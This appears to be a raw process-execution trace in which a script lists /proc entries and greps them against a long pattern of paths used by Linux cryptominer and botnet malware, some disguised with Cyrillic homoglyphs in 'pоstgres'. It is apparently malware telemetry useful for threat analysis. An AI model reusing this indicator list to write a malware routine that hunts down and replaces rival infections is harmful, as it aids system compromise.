[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/703]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/707]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/71]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/713]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/72]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/73]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/74]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/741]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/75]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/76]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/77]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/78]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/84]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/device-tree]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

